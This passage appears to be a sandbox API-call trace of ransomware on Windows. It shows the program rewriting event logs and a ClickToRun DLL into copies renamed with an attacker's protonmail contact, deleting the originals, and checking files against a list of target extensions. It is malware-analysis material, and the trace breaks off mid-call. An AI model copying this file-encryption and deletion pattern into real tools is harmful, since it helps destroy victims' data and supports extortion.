[0151.884] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0151.885] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0151.885] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.885] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0151.886] GetLastError () returned 0x0 [0151.886] ReadFile (in: hFile=0x1088, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.955] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.957] ReadFile (in: hFile=0x1088, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.957] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x146, lpOverlapped=0x0) returned 1 [0151.957] SetEndOfFile (hFile=0x10d0) returned 1 [0151.958] CloseHandle (hObject=0x10d0) returned 1 [0151.962] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.962] SetEndOfFile (hFile=0x1088) returned 1 [0151.963] CloseHandle (hObject=0x1088) returned 1 [0151.963] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0151.965] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0151.966] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.966] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.966] lstrlenW (lpString=".doc") returned 4 [0151.966] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.966] lstrlenW (lpString=".docx") returned 5 [0151.966] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.966] lstrlenW (lpString=".pdf") returned 4 [0151.966] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.966] lstrlenW (lpString=".xls") returned 4 [0151.966] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.966] lstrlenW (lpString=".xlsx") returned 5 [0151.966] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.966] lstrlenW (lpString=".ppt") returned 4 [0151.966] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.966] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.966] lstrlenW (lpString=".zip") returned 4 [0151.966] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.966] lstrlenW (lpString=".rar") returned 4 [0151.966] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.966] lstrlenW (lpString=".bz2") returned 4 [0151.966] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.966] lstrlenW (lpString=".7z") returned 3 [0151.966] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.966] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.967] lstrlenW (lpString=".dbf") returned 4 [0151.967] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.967] lstrlenW (lpString=".1cd") returned 4 [0151.967] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.967] lstrlenW (lpString=".jpg") returned 4 [0151.967] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.967] lstrlenW (lpString=".doc") returned 4 [0151.967] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString=".docx") returned 5 [0151.967] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.967] lstrlenW (lpString=".pdf") returned 4 [0151.967] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString=".xls") returned 4 [0151.967] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString=".xlsx") returned 5 [0151.967] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.967] lstrlenW (lpString=".ppt") returned 4 [0151.967] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.967] lstrlenW (lpString=".zip") returned 4 [0151.967] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString=".rar") returned 4 [0151.967] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.967] lstrlenW (lpString=".bz2") returned 4 [0151.967] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.968] lstrlenW (lpString=".7z") returned 3 [0151.968] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.968] lstrlenW (lpString=".dbf") returned 4 [0151.968] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.968] lstrlenW (lpString=".1cd") returned 4 [0151.968] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0151.968] lstrlenW (lpString=".jpg") returned 4 [0151.968] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.968] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0151.968] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0151.968] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0151.968] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0151.969] CloseHandle (hObject=0x1088) returned 1 [0152.397] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0152.397] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.397] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0152.397] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.397] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.397] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0152.398] GetLastError () returned 0x0 [0152.398] ReadFile (in: hFile=0x1078, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0152.541] WriteFile (in: hFile=0x10e0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0152.542] ReadFile (in: hFile=0x1078, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.543] WriteFile (in: hFile=0x10e0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x128, lpOverlapped=0x0) returned 1 [0152.543] SetEndOfFile (hFile=0x10e0) returned 1 [0152.543] CloseHandle (hObject=0x10e0) returned 1 [0152.545] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.545] SetEndOfFile (hFile=0x1078) returned 1 [0152.546] CloseHandle (hObject=0x1078) returned 1 [0152.546] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0152.546] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0152.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.546] lstrlenW (lpString=".doc") returned 4 [0152.546] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.546] lstrlenW (lpString=".docx") returned 5 [0152.546] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.546] lstrlenW (lpString=".pdf") returned 4 [0152.546] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.546] lstrlenW (lpString=".xls") returned 4 [0152.546] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.546] lstrlenW (lpString=".xlsx") returned 5 [0152.546] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.546] lstrlenW (lpString=".ppt") returned 4 [0152.546] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.547] lstrlenW (lpString=".zip") returned 4 [0152.547] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString=".rar") returned 4 [0152.547] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString=".bz2") returned 4 [0152.547] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString=".7z") returned 3 [0152.547] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.547] lstrlenW (lpString=".dbf") returned 4 [0152.547] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.547] lstrlenW (lpString=".1cd") returned 4 [0152.547] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.547] lstrlenW (lpString=".jpg") returned 4 [0152.547] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.547] lstrlenW (lpString=".doc") returned 4 [0152.547] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString=".docx") returned 5 [0152.547] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.547] lstrlenW (lpString=".pdf") returned 4 [0152.547] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString=".xls") returned 4 [0152.547] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString=".xlsx") returned 5 [0152.547] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.547] lstrlenW (lpString=".ppt") returned 4 [0152.547] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.547] lstrlenW (lpString=".zip") returned 4 [0152.547] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.547] lstrlenW (lpString=".rar") returned 4 [0152.548] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.548] lstrlenW (lpString=".bz2") returned 4 [0152.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.548] lstrlenW (lpString=".7z") returned 3 [0152.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.548] lstrlenW (lpString=".dbf") returned 4 [0152.548] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.548] lstrlenW (lpString=".1cd") returned 4 [0152.548] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0152.548] lstrlenW (lpString=".jpg") returned 4 [0152.548] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.548] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0152.548] lstrlenW (lpString="Security.evtx") returned 13 [0152.548] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0152.548] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=1118208) returned 1 [0152.548] CloseHandle (hObject=0x1078) returned 1 [0152.548] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0152.549] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\security.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.549] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0152.549] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.549] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.549] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\security.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0152.570] GetLastError () returned 0x0 [0152.570] ReadFile (in: hFile=0x1078, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0152.684] WriteFile (in: hFile=0x108c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0153.432] ReadFile (in: hFile=0x1078, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11010, lpOverlapped=0x0) returned 1 [0153.444] WriteFile (in: hFile=0x108c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11020, lpOverlapped=0x0) returned 1 [0153.453] ReadFile (in: hFile=0x1078, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.453] WriteFile (in: hFile=0x108c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xee, lpOverlapped=0x0) returned 1 [0153.453] SetEndOfFile (hFile=0x108c) returned 1 [0153.453] CloseHandle (hObject=0x108c) returned 1 [0154.478] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.478] SetEndOfFile (hFile=0x1078) returned 1 [0154.479] CloseHandle (hObject=0x1078) returned 1 [0154.479] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.479] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0154.480] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.480] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.480] lstrlenW (lpString=".doc") returned 4 [0154.480] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".docx") returned 5 [0154.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.480] lstrlenW (lpString=".pdf") returned 4 [0154.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".xls") returned 4 [0154.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".xlsx") returned 5 [0154.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.480] lstrlenW (lpString=".ppt") returned 4 [0154.480] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.480] lstrlenW (lpString=".zip") returned 4 [0154.480] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".rar") returned 4 [0154.480] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".bz2") returned 4 [0154.480] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".7z") returned 3 [0154.480] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.480] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.480] lstrlenW (lpString=".dbf") returned 4 [0154.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.480] lstrlenW (lpString=".1cd") returned 4 [0154.481] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.481] lstrlenW (lpString=".jpg") returned 4 [0154.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.481] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.481] lstrlenW (lpString=".doc") returned 4 [0154.481] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".docx") returned 5 [0154.481] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.481] lstrlenW (lpString=".pdf") returned 4 [0154.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".xls") returned 4 [0154.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".xlsx") returned 5 [0154.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.481] lstrlenW (lpString=".ppt") returned 4 [0154.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.481] lstrlenW (lpString=".zip") returned 4 [0154.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".rar") returned 4 [0154.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".bz2") returned 4 [0154.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".7z") returned 3 [0154.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.481] lstrlenW (lpString=".dbf") returned 4 [0154.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.481] lstrlenW (lpString=".1cd") returned 4 [0154.482] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.482] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0154.482] lstrlenW (lpString=".jpg") returned 4 [0154.482] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.482] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0154.482] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0154.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0154.482] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=19136) returned 1 [0154.482] CloseHandle (hObject=0x1078) returned 1 [0154.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0154.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0154.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0154.483] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.483] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 